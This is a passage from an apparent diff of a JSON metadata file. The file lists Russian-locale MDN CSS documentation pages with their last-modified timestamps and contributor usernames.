"contributors": [ - "BychekRU" - ] - }, - "Web/CSS/CSS_Images/Using_CSS_gradients": { - "modified": "2020-03-30T10:47:12.450Z", - "contributors": [ - "Virss" - ] - }, - "Web/CSS/CSS_Lists_and_Counters": { - "modified": "2019-03-23T22:23:15.839Z", - "contributors": [ - "TylerH" - ] - }, - "Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters": { - "modified": "2020-04-28T15:39:35.383Z", - "contributors": [ - "arnoldovich", - "moshenskyDV" - ] - }, - "Web/CSS/CSS_Positioning": { - "modified": "2019-03-23T22:44:29.790Z", - "contributors": [ - "davidhbrown" - ] - }, - "Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context": { - "modified": "2019-03-23T22:44:33.535Z", - "contributors": [ - "haritonasty", - "dima74", - "alfaslash", - "mutius", - "ViktorPalansky", - "lerniri" - ] - }, - "Web/CSS/CSS_Ruby": { - "modified": "2019-03-18T21:40:32.040Z", - "contributors": [ - "FeliciaJess" - ] - }, - "Web/CSS/CSS_Scroll_Snap": { - "modified": "2020-04-23T14:07:31.697Z", - "contributors": [ - "r-i-c-h" - ] - }, - "Web/CSS/CSS_Scroll_Snap/Basic_concepts": { - "modified": "2020-04-24T16:34:16.121Z", - "contributors": [ - "hisbvdis" - ] - }, - "Web/CSS/CSS_Table": { - "modified": "2019-03-23T22:31:01.222Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/CSS_Transitions": { - "modified": "2019-03-23T22:45:46.948Z", - "contributors": [ - "teoli" - ] - }, - "Web/CSS/CSS_Transitions/Using_CSS_transitions": { - "modified": "2019-03-18T20:34:12.871Z", - "contributors": [ - "Sakayama", - "LFFATE", - "Sajag", - "ldolohov", - "TicTacVengria", - "agoge", - "BychekRU" - ] - }, - "Web/CSS/CSS_Types": { - "modified": "2019-03-18T21:45:05.678Z", - "contributors": [ - "TViglesGoom" - ] - }, - "Web/CSS/CSS_User_Interface": { - "modified": "2019-03-23T22:05:55.155Z", - "contributors": [ - "SphinxKnight", - "ExE-Boss", - "mfluehr" - ] - }, - "Web/CSS/CSS_Writing_Modes": { - "modified": "2020-03-07T12:38:48.764Z", - "contributors": [ - "Radragon" - ] - }, - "Web/CSS/CSS_Селекторы": { - "modified": "2019-09-26T17:15:05.505Z", - "contributors": [ - "RomanBush", - "vkorzhova", - "Gergalov", - "bezik", - "irenprkpv" - ] - }, - "Web/CSS/CSS_Селекторы/Using_the_:target_pseudo-class_in_selectors": { - "modified": "2019-03-18T21:30:19.329Z", - "contributors": [ - "Hoopers_Hooch" - ] - }, - "Web/CSS/Cascade": { - "modified": "2019-12-08T06:05:17.526Z", - "contributors": [ - "vitaminX", - "bodrovphone", - "blackcat55" - ] - }, - "Web/CSS/Child_combinator": { - "modified": "2019-03-23T22:45:21.091Z", - "contributors": [ - "ExE-Boss", - "irakliykech", - "BychekRU" - ] - }, - "Web/CSS/Class_selectors": { - "modified": "2019-03-23T22:46:25.051Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/Column_combinator": { - "modified": "2020-10-15T22:26:05.115Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/Common_CSS_Questions": { - "modified": "2020-07-16T22:25:45.996Z", - "contributors": [ - "quinn" - ] - }, - "Web/CSS/Containing_block": { - "modified": "2020-01-07T10:40:33.535Z", - "contributors": [ - "alattalatta", - "Radragon" - ] - }, - "Web/CSS/Descendant_combinator": { - "modified": "2019-03-23T22:45:17.695Z", - "contributors": [ - "ExE-Boss", - "irakliykech", - "BychekRU" - ] - }, - "Web/CSS/General_sibling_combinator": { - "modified": "2019-04-05T06:48:43.727Z", - "contributors": [ - "babtshe", - "ExE-Boss", - "irakliykech", - "mea612", - "gwer", - "BychekRU" - ] - }, - "Web/CSS/ID_selectors": { - "modified": "2019-03-23T23:13:48.018Z", - "contributors": [ - "bezik", - "BychekRU", - "bilazikboy" - ] - }, - "Web/CSS/Layout_cookbook": { - "modified": "2020-09-30T16:32:50.977Z", - "contributors": [ - "vnezapno", - "VitalyKrenel", - "chrisdavidmills" - ] - }, - "Web/CSS/Layout_cookbook/Breadcrumb_Navigation": { - "modified": "2020-10-15T22:34:00.516Z", - "contributors": [ - "sh4rov" - ] - }, - "Web/CSS/Layout_cookbook/Split_Navigation": { - "modified": "2020-10-15T22:10:15.861Z", - "contributors": [ - "dood" - ] - }, - "Web/CSS/Layout_cookbook/Sticky_footers": { - "modified": "2020-10-15T22:31:12.566Z", - "contributors": [ - "domminik" - ] - }, - "Web/CSS/Media_Queries": { - "modified": "2019-03-23T22:04:37.337Z", - "contributors": [ - "tropikan4", - "Sheppy" - ] - }, - "Web/CSS/Media_Queries/Using_media_queries": { - "modified": "2020-02-12T11:53:35.471Z", - "contributors": [ - "halfdead30", - "tjbulick", - "AlexSND", - "UriShlomov", - "AliaksandrZahorski", - "tirojal", - "jlgfmhldf", - "VovaBerenda", - "valeryvitkus" - ] - }, - "Web/CSS/Media_Queries/Тестирование_медиа_запросы": { - "modified": "2020-10-15T22:17:28.449Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/Paged_Media": { - "modified": "2020-10-12T15:00:21.800Z", - "contributors": [ - "at940266" - ] - }, - "Web/CSS/Pseudo-elements": { - "modified": "2020-03-28T09:21:47.104Z", - "contributors": [ - "pikeraft", - "maxmiko", - "ilovebeatles", - "dima74", - "BychekRU", - "AlexDok" - ] - }, - "Web/CSS/Reference": { - "modified": "2019-03-23T23:26:37.472Z", - "contributors": [ - "bezik", - "irakliykech", - "TaKo13", - "skyline1341", - "warsan", - "SnejUgal", - "BychekRU", - "Aleksej", - "teoli", - "scr1be" - ] - }, - "Web/CSS/Selector_list": { - "modified": "2020-10-15T22:26:00.077Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/Shorthand_properties": { - "modified": "2019-03-23T22:04:06.155Z", - "contributors": [ - "brolnickij" - ] - }, - "Web/CSS/Specificity": { - "modified": "2019-03-23T22:31:13.059Z", - "contributors": [ - "kirillsh", - "umbrochcho", - "teddy-bear", - "zipp3r", - "hellpirat", - "Hydrock", - "102" - ] - }, - "Web/CSS/Type_selectors": { - "modified": "2019-03-23T22:46:27.753Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/Universal_selectors": { - "modified": "2019-03-23T22:46:25.942Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/Using_CSS_custom_properties": { - "modified": "2019-05-25T05:15:45.165Z", - "contributors": [ - "Allakazam", - "gizmooo", - "chrisdavidmills", - "smelukov", - "Quodnon", - "KoltunovOleg", - "LumenGNU", - "bakhaa", - "ArsenBespalov" - ] - }, - "Web/CSS/align-content": { - "modified": "2020-10-15T21:43:27.677Z", - "contributors": [ - "alkorlos", - "stefanishy", - "almaceleste", - "Akh-rman", - "m0nclous", - "ivan-ivan01", - "andreww2012" - ] - }, - "Web/CSS/align-items": { - "modified": "2020-03-03T10:29:03.614Z", - "contributors": [ - "webenot", - "Akh-rman", - "Darkonica", - "IgorPuchkov2003", - "helsworkflow", - "andreww2012" - ] - }, - "Web/CSS/align-self": { - "modified": "2020-10-15T21:43:26.584Z", - "contributors": [ - "IgorPuchkov2003", - "Bargamut", - "andreww2012" - ] - }, - "Web/CSS/all": { - "modified": "2020-10-15T21:43:31.011Z", - "contributors": [ - "YozhEzhi", - "Akh-rman", - "andreww2012" - ] - }, - "Web/CSS/angle": { - "modified": "2020-10-15T21:43:25.509Z", - "contributors": [ - "ekirpichyov", - "Akh-rman", - "ChristinaKrapivina", - "Sebastianz", - "andreww2012" - ] - }, - "Web/CSS/animation": { - "modified": "2020-10-15T21:41:33.251Z", - "contributors": [ - "art-gur", - "Akh-rman", - "im-sad", - "andreww2012", - "mrstork", - "shvaikalesh" - ] - }, - "Web/CSS/animation-delay": { - "modified": "2019-03-18T20:53:19.546Z", - "contributors": [ - "Rammfall", - "Akh-rman", - "Asrover", - "andreww2012" - ] - }, - "Web/CSS/animation-direction": { - "modified": "2020-03-21T05:35:21.779Z", - "contributors": [ - "Virss", - "Mrakobees", - "Akh-rman", - "Rammfall", - "andreww2012" - ] - }, - "Web/CSS/animation-duration": { - "modified": "2019-03-18T20:54:28.647Z", - "contributors": [ - "Akh-rman", - "Rammfall", - "andreww2012" - ] - }, - "Web/CSS/animation-fill-mode": { - "modified": "2019-03-18T20:54:28.431Z", - "contributors": [ - "Akh-rman", - "Asrover", - "andreww2012" - ] - }, - "Web/CSS/animation-iteration-count": { - "modified": "2019-03-23T22:48:45.774Z", - "contributors": [ - "BychekRU", - "teoli", - "Sebastianz", - "Evgeny81" - ] - }, - "Web/CSS/animation-name": { - "modified": "2019-09-21T12:31:18.921Z", - "contributors": [ - "webmasterhoz", - "Mrakobees", - "Akh-rman", - "andreww2012" - ] - }, - "Web/CSS/animation-play-state": { - "modified": "2019-03-18T20:50:26.300Z", - "contributors": [ - "Akh-rman", - "Rammfall", - "andreww2012" - ] - }, - "Web/CSS/animation-timing-function": { - "modified": "2020-10-15T21:43:26.224Z", - "contributors": [ - "webmasterhoz", - "NeverMine17", - "Mrakobees", - "Akh-rman", - "Rammfall", - "owlblinked", - "andreww2012" - ] - }, - "Web/CSS/appearance": { - "modified": "2020-10-15T22:18:27.633Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/attr()": { - "modified": "2020-11-04T08:52:00.007Z", - "contributors": [ - "chrisdavidmills", - "DENYS-GAVRYLJAK", - "Excent163", - "SphinxKnight", - "palchikowa", - "andreww2012" - ] - }, - "Web/CSS/backdrop-filter": { - "modified": "2020-10-15T21:52:06.891Z", - "contributors": [ - "ekirpichyov", - "Daniluk4000", - "modelair", - "x1unix" - ] - }, - "Web/CSS/backface-visibility": { - "modified": "2020-10-15T22:14:53.323Z", - "contributors": [ - "Akh-rman", - "Rammfall" - ] - }, - "Web/CSS/background": { - "modified": "2020-10-15T21:43:31.865Z", - "contributors": [ - "Virss", - "Sergio-Ka", - "pefbrute", - "genesky", - "Akh-rman", - "Roman-Kosov", - "fscholz", - "andreww2012" - ] - }, - "Web/CSS/background-attachment": { - "modified": "2020-10-15T04:38:34.375Z", - "contributors": [ - "Virss", - "Akh-rman", - "SphinxKnight", - "teoli", - "paradox" - ] - }, - "Web/CSS/background-blend-mode": { - "modified": "2019-03-18T20:48:44.425Z", - "contributors": [ - "Akh-rman", - "ExE-Boss", - "andreww2012", - "mrstork", - "Sebastianz", - "ruslanchek" - ] - }, - "Web/CSS/background-clip": { - "modified": "2020-10-15T21:43:28.457Z", - "contributors": [ - "zardo96", - "Akh-rman", - "Maxim-Bernashevsky", - "andreww2012" - ] - }, - "Web/CSS/background-color": { - "modified": "2020-10-15T21:55:30.685Z", - "contributors": [ - "ekirpichyov", - "Akh-rman", - "TaraZingo", - "SnejUgal" - ] - }, - "Web/CSS/background-image": { - "modified": "2020-08-12T07:31:21.006Z", - "contributors": [ - "romazaharov09", - "AliaksandrZahorski", - "Akh-rman", - "x-in", - "wizAmit", - "SphinxKnight", - "teoli", - "s1lver", - "Sebastianz", - "Aleksej", - "russian" - ] - }, - "Web/CSS/background-origin": { - "modified": "2020-10-15T22:15:26.670Z", - "contributors": [ - "zardo96", - "flee24", - "Sergio-Ka", - "Akh-rman" - ] - }, - "Web/CSS/background-position": { - "modified": "2020-10-15T22:15:28.066Z", - "contributors": [ - "Akh-rman" - ] - }, - "Web/CSS/background-position-x": { - "modified": "2020-10-15T22:17:40.819Z", - "contributors": [ - "Sergio-Ka" - ] - }, - "Web/CSS/background-repeat": { - "modified": "2020-10-15T21:21:11.379Z", - "contributors": [ - "Akh-rman", - "Rammfall", - "Roman-Kosov", - "SphinxKnight", - "teoli", - "piar.tattoo@gmail.com" - ] - }, - "Web/CSS/background-size": { - "modified": "2020-03-29T05:16:40.780Z", - "contributors": [ - "Virss", - "JuliaAlaeva", - "Neiromaster", - "grundiss", - "Akh-rman", - "alexbs", - "dad-ua", - "VladdOs", - "Sebastianz", - "andreww2012" - ] - }, - "Web/CSS/blend-mode": { - "modified": "2019-03-23T22:37:56.295Z", - "contributors": [ - "andreww2012" - ] - }, - "Web/CSS/block-size": { - "modified": "2020-10-15T22:09:37.709Z", - "contributors": [ - "bsergey" - ] - }, - "Web/CSS/border": { - "modified": "2020-10-15T21:55:22.050Z", - "contributors": [ - "Roman-Kosov", - "suvorovib" - ] - }, - "Web/CSS/border-bottom": { - "modified": "2020-10-15T22:33:07.161Z", - "contributors": [ - "ElCrown" - ] - }, - "Web/CSS/border-image-outset": { - "modified": "2019-03-23T22:37:56.772Z", - "contributors": [ - "Sebastianz", - "andreww2012" - ] - }, - "Web/CSS/border-image-repeat": { - "modified": "2019-03-23T22:37:53.893Z", - "contributors": [ - "andreww2012" - ] - }, - "Web/CSS/border-image-slice": { - "modified": "2019-12-11T07:12:40.633Z", - "contributors": [ - "Sviridov-Boris", - "Sebastianz", - "andreww2012" - ] - }, - "Web/CSS/border-image-source": { - "modified": "2019-03-23T22:37:57.989Z", - "contributors": [ - "Sebastianz", - "andreww2012" - ] - }, - "Web/CSS/border-image-width": { - "modified": "2019-03-23T22:37:57.822Z", - "contributors": [ - "andreww2012" - ] - }, - "Web/CSS/border-radius": { - "modified": "2020-10-15T21:39:21.352Z", - "contributors": [ - "tjbulick", - "AliaksandrZahorski", - "BychekRU", - "oxmap", - "Roman-Kosov", - "Sajag", - "Sebastianz" - ] - }, - "Web/CSS/border-width": { - "modified": "2019-08-04T12:59:08.680Z", - "contributors": [ - "mcbellya", - "mrsVelena", - "Sebastianz", - "codedokode", - "RomanShabanov" - ] - }, - "Web/CSS/bottom": { - "modified": "2020-10-15T22:06:19.913Z", - "contributors": [ - "niktariy", - "warsan" - ] - }, - "Web/CSS/box-shadow": { - "modified": "2020-10-15T21:29:59.487Z", - "contributors": [ - "BychekRU", - "Cheglok", - "Roman-Kosov", - "regress000", - "Sajag", - "Sebastianz", - "amityagov", - "Sehan" - ] - }, - "Web/CSS/box-sizing": { - "modified": "2020-10-15T21:34:11.261Z", - "contributors": [ - "wenzor", - "HImichun", - "AliaksandrZahorski", - "xilaraux", - "volodymyr.matvienko", - "Kapiroska", - "vova", - "Sebastianz", - "Sergey.Vdovareize" - ] - }, - "Web/CSS/box_model": { - "modified": "2019-03-23T23:02:32.915Z", - "contributors": [ - "akovbovich", - "Aleksej", - "codedokode" - ] - }, - "Web/CSS/calc()": { - "modified": "2020-11-04T09:08:45.108Z", - "contributors": [ - "chrisdavidmills", - "ivan.ferenchuk", - "hisbvdis", - "8Suomi8", - "mzelensky", - "coolder", - "AlKach", - "Landlord", - "alpha-kappa", - "trubenko", - "mrstork", - "prayash", - "teoli", - "UmanShield", - "ukarim" - ] - }, - "Web/CSS/clamp()": { - "modified": "2020-11-05T09:58:41.585Z", - "contributors": [ - "chrisdavidmills", - "Anonymous", - "hisbvdis" - ] - }, - "Web/CSS/clear": { - "modified": "2020-10-15T22:06:20.063Z", - "contributors": [ - "warsan" - ] - }, - "Web/CSS/clip-path": { - "modified": "2020-10-15T21:57:40.076Z", - "contributors": [ - "fscholz", - "torbasow", - "AntonPanteleev" - ] - }, - "Web/CSS/color_value": { - "modified": "2020-11-14T18:25:56.686Z", - "contributors": [ - "Tanja", - "KenyaLS" - ] - }, - "Web/CSS/column-count": { - "modified": "2020-10-15T22:27:08.261Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/column-fill": { - "modified": "2019-03-23T22:48:52.516Z", - "contributors": [ - "fscholz", - "Sebastianz", - "Varinetz" - ] - }, - "Web/CSS/column-rule": { - "modified": "2020-10-15T22:27:07.023Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/column-rule-color": { - "modified": "2020-10-15T22:27:09.497Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/column-rule-style": { - "modified": "2020-10-15T22:27:09.089Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/computed_value": { - "modified": "2019-03-23T22:31:07.128Z", - "contributors": [ - "ViktorPalansky", - "BychekRU" - ] - }, - "Web/CSS/content": { - "modified": "2020-10-15T22:17:47.064Z", - "contributors": [ - "almaceleste", - "opereverzeva" - ] - }, - "Web/CSS/cursor": { - "modified": "2020-10-15T21:43:43.338Z", - "contributors": [ - "janoteni", - "Simaleon", - "mikak", - "andreww2012" - ] - }, - "Web/CSS/custom-ident": { - "modified": "2020-11-08T10:57:14.137Z", - "contributors": [ - "ialexi-bl" - ] - }, - "Web/CSS/direction": { - "modified": "2020-10-15T22:35:15.586Z", - "contributors": [ - "at940266" - ] - }, - "Web/CSS/display": { - "modified": "2020-10-15T21:26:46.413Z", - "contributors": [ - "bsergey", - "warsan", - "baradusov", - "Sebastianz", - "Aleksej", - "teoli", - "racer1933" - ] - }, - "Web/CSS/display-listitem": { - "modified": "2020-10-15T22:09:54.609Z", - "contributors": [ - "bsergey" - ] - }, - "Web/CSS/display-outside": { - "modified": "2020-10-15T22:10:05.114Z", - "contributors": [ - "bsergey" - ] - }, - "Web/CSS/filter": { - "modified": "2020-10-15T21:43:42.754Z", - "contributors": [ - "Simaleon", - "rookhive", - "SpawnLeon", - "DareDevil539", - "Sebastianz", - "andreww2012" - ] - }, - "Web/CSS/filter-function": { - "modified": "2020-03-12T08:22:01.894Z", - "contributors": [ - "rookhive", - "opereverzeva" - ] - }, - "Web/CSS/filter-function/blur()": { - "modified": "2020-11-05T09:45:49.226Z", - "contributors": [ - "chrisdavidmills", - "ekirpichyov" - ] - }, - "Web/CSS/filter-function/url": { - "modified": "2020-04-29T08:14:17.353Z", - "contributors": [ - "podocenov" - ] - }, - "Web/CSS/flex": { - "modified": "2019-06-28T12:43:39.434Z", - "contributors": [ - "LiubavaL", - "AnnaTraiko", - "yaroslav-perec", - "llotall", - "mhaidamashko", - "MrDaedra", - "Dolfik", - "Sebastianz", - "teoli", - "ahtohbi4" - ] - }, - "Web/CSS/flex-basis": { - "modified": "2020-10-15T22:01:27.616Z", - "contributors": [ - "LiubavaL", - "Remzes", - "ZeroUnderscoreOu", - "MishaKazakov", - "fundzi" - ] - }, - "Web/CSS/flex-direction": { - "modified": "2019-06-05T06:18:19.251Z", - "contributors": [ - "a1ek5borodai", - "alxklochkov", - "fscholz", - "Sebastianz", - "Multysh", - "petanisimov" - ] - }, - "Web/CSS/flex-flow": { - "modified": "2019-03-23T22:09:15.205Z", - "contributors": [ - "mkhazov", - "mhaidamashko" - ] - }, - "Web/CSS/flex-grow": { - "modified": "2020-10-15T21:49:52.928Z", - "contributors": [ - "kss555", - "MrDaedra", - "karpulix" - ] - }, - "Web/CSS/flex-shrink": { - "modified": "2020-10-15T21:55:35.817Z", - "contributors": [ - "ekirpichyov", - "zbralex", - "fscholz", - "mhaidamashko" - ] - }, - "Web/CSS/flex-wrap": { - "modified": "2020-10-15T21:56:24.046Z", - "contributors": [ - "NiBeliaev", - "Bargamut", - "yuriy-korsunov", - "enagorny", - "dedotmoroz" - ] - }, - "Web/CSS/flex_value": { - "modified": "2020-10-15T22:30:01.235Z", - "contributors": [ - "HImichun" - ] - }, - "Web/CSS/float": { - "modified": "2020-01-09T11:46:26.787Z", - "contributors": [ - "AliaksandrZahorski", - "wbamberg", - "VasylenckoSlava", - "fscholz", - "Sebastianz", - "Aleksej", - "teoli", - "racer1933" - ] - }, - "Web/CSS/font": { - "modified": "2020-10-15T22:24:35.540Z", - "contributors": [ - "IgorBroKogama", - "sashakrauzer" - ] - }, - "Web/CSS/font-family": { - "modified": "2020-10-15T21:57:35.974Z", - "contributors": [ - "almaceleste", - "krasnoshtan", - "Tim152", - "Gnet", - "chulanovskyi" - ] - }, - "Web/CSS/font-size": { - "modified": "2019-11-13T10:08:51.349Z", - "contributors": [ - "sashakrauzer", - "krasnoshtan", - "RomanBush", - "a-bodrova", - "Sebastianz", - "teoli", - "Limoto", - "s1lver" - ] - }, - "Web/CSS/font-style": { - "modified": "2020-10-15T22:00:36.373Z", - "contributors": [ - "Yialo", - "MuradAz" - ] - }, - "Web/CSS/font-variant-ligatures": { - "modified": "2020-10-25T16:42:47.756Z", - "contributors": [ - "vdav-dev", - "dmungalov", - "PermApelsin" - ] - }, - "Web/CSS/font-variant-numeric": { - "modified": "2019-03-23T23:05:24.395Z", - "contributors": [ - "kalmukvitaly", - "Sebastianz", - "Mercury13" - ] - }, - "Web/CSS/font-weight": { - "modified": "2019-11-13T14:29:03.262Z", - "contributors": [ - "sashakrauzer", - "Elivin", - "FeliciaJess", - "botinok-plus", - "dfitiskin", - "SphinxKnight", - "s1lver" - ] - }, - "Web/CSS/gap": { - "modified": "2020-10-15T22:30:34.130Z", - "contributors": [ - "brendan8c" - ] - }, - "Web/CSS/grid": { - "modified": "2019-03-23T22:15:22.982Z", - "contributors": [ - "Hekpom2003", - "coshturnina", - "Dragon220", - "misterybray", - "BomberNastya" - ] - }, - "Web/CSS/grid-area": { - "modified": "2020-10-15T22:01:32.557Z", - "contributors": [ - "coshturnina" - ] - }, - "Web/CSS/grid-auto-flow": { - "modified": "2020-11-26T09:57:50.137Z", - "contributors": [ - "niki-timofe", - "Leuchtkafer" - ] - }, - "Web/CSS/grid-gap": { - "modified": "2020-10-15T22:05:04.554Z", - "contributors": [ - "oxmap", - "slychai85" - ] - }, - "Web/CSS/grid-row-start": { - "modified": "2020-10-15T22:26:03.940Z", - "contributors": [ - "AnastasiyaKisalo" - ] - }, - "Web/CSS/grid-template-areas": { - "modified": "2020-10-15T22:24:45.942Z", - "contributors": [ - "Mallariel" - ] - }, - "Web/CSS/grid-template-columns": { - "modified": "2020-10-15T21:53:55.516Z", - "contributors": [ - "brendan8c", - "HImichun", - "gunzenroses", - "IgorPuchkov2003", - "fscholz", - "VerkholaAlex", - "PaulineNemchak", - "SHOOROOP" - ] - }, - "Web/CSS/grid-template-rows": { - "modified": "2020-10-15T21:55:57.894Z", - "contributors": [ - "Helga312", - "alishka242", - "Sevasun", - "fscholz", - "PaulineNemchak" - ] - }, - "Web/CSS/hanging-punctuation": { - "modified": "2020-10-15T22:16:45.554Z", - "contributors": [ - "sergey.bannikov" - ] - }, - "Web/CSS/height": { - "modified": "2020-10-15T21:48:02.538Z", - "contributors": [ - "Kikubaaqudgha", - "Antin74", - "VladdOs" - ] - }, - "Web/CSS/hyphens": { - "modified": "2020-10-23T18:33:00.164Z", - "contributors": [ - "Ruslan_Zlygostev" - ] - }, - "Web/CSS/image-set()": { - "modified": "2020-11-16T08:54:13.901Z", - "contributors": [ - "chrisdavidmills", - "justredpaul" - ] - }, - "Web/CSS/inherit": { - "modified": "2020-10-15T22:09:42.824Z", - "contributors": [ - "vpkopylov", - "bsergey" - ] - }, - "Web/CSS/inheritance": { - "modified": "2019-03-23T22:44:45.904Z", - "contributors": [ - "ViktorPalansky", - "BychekRU" - ] - }, - "Web/CSS/initial": { - "modified": "2020-10-15T22:09:53.246Z", - "contributors": [ - "bsergey" - ] - }, - "Web/CSS/initial_value": { - "modified": "2019-03-23T22:46:29.428Z", - "contributors": [ - "BychekRU" - ] - }, - "Web/CSS/inline-size": { - "modified": "2020-10-15T22:32:24.743Z", - "contributors": [ - "s0verina" - ] - }, - "Web/CSS/inset": { - "modified": "2020-10-15T22:18:40.213Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/integer": { - "modified": "2019-03-18T21:45:04.582Z", - "contributors": [ - "TViglesGoom" - ] - }, - "Web/CSS/isolation": { - "modified": "2020-10-15T22:12:33.018Z", - "contributors": [ - "opereverzeva", - "AliaksandrZahorski" - ] - }, - "Web/CSS/justify-content": { - "modified": "2020-11-09T19:06:49.136Z", - "contributors": [ - "serj-by", - "Radragon", - "HImichun", - "IgorPuchkov2003", - "Connor-CopLand", - "PaulineNemchak", - "SelenIT", - "talgautb", - "AlexSND", - "davidyuk", - "FeliciaJess", - "alexandrtovmach" - ] - }, - "Web/CSS/justify-items": { - "modified": "2020-10-15T22:30:28.052Z", - "contributors": [ - "randomesis" - ] - }, - "Web/CSS/letter-spacing": { - "modified": "2020-10-15T22:16:52.753Z", - "contributors": [ - "sergey.bannikov" - ] - }, - "Web/CSS/line-break": { - "modified": "2020-10-15T22:19:17.221Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/line-height": { - "modified": "2020-10-15T21:58:19.788Z", - "contributors": [ - "sashakrauzer", - "arto-777", - "Lyod1" - ] - }, - "Web/CSS/linear-gradient()": { - "modified": "2020-11-16T08:57:46.008Z", - "contributors": [ - "chrisdavidmills", - "Virss" - ] - }, - "Web/CSS/list-style-image": { - "modified": "2020-10-15T22:19:11.104Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/margin": { - "modified": "2020-10-15T21:58:26.353Z", - "contributors": [ - "lerk1nz", - "bsergey", - "svekl", - "talgautb" - ] - }, - "Web/CSS/margin-bottom": { - "modified": "2020-10-15T22:05:49.669Z", - "contributors": [ - "Kikubaaqudgha", - "owlblinked", - "zeth75" - ] - }, - "Web/CSS/margin-inline-end": { - "modified": "2020-10-15T22:11:33.244Z", - "contributors": [ - "Abdev" - ] - }, - "Web/CSS/margin-inline-start": { - "modified": "2020-10-15T22:09:40.963Z", - "contributors": [ - "bsergey" - ] - }, - "Web/CSS/margin-left": { - "modified": "2020-10-15T22:06:30.088Z", - "contributors": [ - "Kikubaaqudgha", - "owlblinked" - ] - }, - "Web/CSS/margin-right": { - "modified": "2020-10-15T22:14:29.071Z", - "contributors": [ - "Kikubaaqudgha" - ] - }, - "Web/CSS/margin-top": { - "modified": "2020-10-15T22:09:38.890Z", - "contributors": [ - "bsergey" - ] - }, - "Web/CSS/max-block-size": { - "modified": "2019-03-23T22:04:56.796Z", - "contributors": [ - "baltsevich" - ] - }, - "Web/CSS/max-height": { - "modified": "2020-10-15T22:14:44.612Z", - "contributors": [ - "Kikubaaqudgha" - ] - }, - "Web/CSS/max-width": { - "modified": "2020-10-15T22:14:51.509Z", - "contributors": [ - "Kikubaaqudgha" - ] - }, - "Web/CSS/min-height": { - "modified": "2020-10-15T22:14:42.161Z", - "contributors": [ - "Kikubaaqudgha" - ] - }, - "Web/CSS/min-width": { - "modified": "2020-10-15T22:14:45.908Z", - "contributors": [ - "Kikubaaqudgha" - ] - }, - "Web/CSS/minmax()": { - "modified": "2020-11-16T09:06:31.536Z", - "contributors": [ - "chrisdavidmills", - "valsaven" - ] - }, - "Web/CSS/mix-blend-mode": { - "modified": "2020-10-15T21:43:26.599Z", - "contributors": [ - "ekirpichyov", - "SJW", - "beloglazof", - "bbars", - "andreww2012" - ] - }, - "Web/CSS/number": { - "modified": "2019-03-18T21:41:38.530Z", - "contributors": [ - "TViglesGoom" - ] - }, - "Web/CSS/object-fit": { - "modified": "2020-10-15T21:51:28.219Z", - "contributors": [ - "devlato", - "Roman-Kosov", - "Danakt", - "yunusga", - "Wishmaker888" - ] - }, - "Web/CSS/object-position": { - "modified": "2020-10-25T10:52:50.936Z", - "contributors": [ - "Virss" - ] - }, - "Web/CSS/opacity": { - "modified": "2020-10-15T22:18:54.054Z", - "contributors": [ - "almaceleste", - "opereverzeva" - ] - }, - "Web/CSS/order": { - "modified": "2020-10-15T21:58:38.204Z", - "contributors": [ - "e508ea3d", - "albertmolodec", - "chulanovskyi" - ] - }, - "Web/CSS/orphans": { - "modified": "2020-10-15T21:37:29.010Z", - "contributors": [ - "opereverzeva", - "Sebastianz", - "frost-nzcr4" - ] - }, - "Web/CSS/overflow": { - "modified": "2020-10-15T21:30:11.994Z", - "contributors": [ - "bershanskiy", - "warsan", - "Natalya_Surikova", - "Dzenly", - "Sebastianz", - "s-n-ushakov", - "Sheppy", - "ldone" - ] - }, - "Web/CSS/overflow-block": { - "modified": "2020-10-15T22:24:45.971Z", - "contributors": [ - "hts1238-yandex" - ] - }, - "Web/CSS/overflow-wrap": { - "modified": "2020-10-15T22:32:23.699Z", - "contributors": [ - "s0verina" - ] - }, - "Web/CSS/overscroll-behavior": { - "modified": "2020-10-15T22:06:27.282Z", - "contributors": [ - "owlblinked" - ] - }, - "Web/CSS/padding": { - "modified": "2020-10-15T21:46:52.617Z", - "contributors": [ - "Virss", - "idoru", - "bershanskiy", - "Asrover", - "vvalgis" - ] - }, - "Web/CSS/padding-left": { - "modified": "2020-10-15T21:40:14.895Z", - "contributors": [ - "bershanskiy", - "Sebastianz", - "Prinz_Rana", - "andreww2012", - "justtry" - ] - }, - "Web/CSS/padding-right": { - "modified": "2019-03-23T22:43:49.823Z", - "contributors": [ - "Sebastianz", - "Prinz_Rana", - "justtry" - ] - }, - "Web/CSS/paint-order": { - "modified": "2020-10-15T22:19:12.089Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/percentage": { - "modified": "2020-10-15T22:12:07.224Z", - "contributors": [ - "Virss", - "Lighter97", - "ialexi-bl" - ] - }, - "Web/CSS/perspective": { - "modified": "2019-03-23T22:19:08.789Z", - "contributors": [ - "Zanziver" - ] - }, - "Web/CSS/pointer-events": { - "modified": "2019-03-18T21:10:14.288Z", - "contributors": [ - "warsan", - "JustCallMeFrank", - "Isk1n", - "kav137", - "valeriya-z" - ] - }, - "Web/CSS/position": { - "modified": "2020-10-15T21:50:06.252Z", - "contributors": [ - "almaceleste", - "niktariy", - "kshshe", - "KalachevDev", - "snilcy", - "warsan", - "fscholz", - "Koshunch", - "meowow", - "bilazik" - ] - }, - "Web/CSS/radial-gradient()": { - "modified": "2020-11-18T14:42:49.208Z", - "contributors": [ - "chrisdavidmills", - "shade0602", - "the_ghost", - "SerzN1" - ] - }, - "Web/CSS/ratio": { - "modified": "2020-10-15T22:19:17.156Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/CSS/repeating-linear-gradient()": { - "modified": "2020-11-18T14:46:25.201Z", - "contributors": [ - 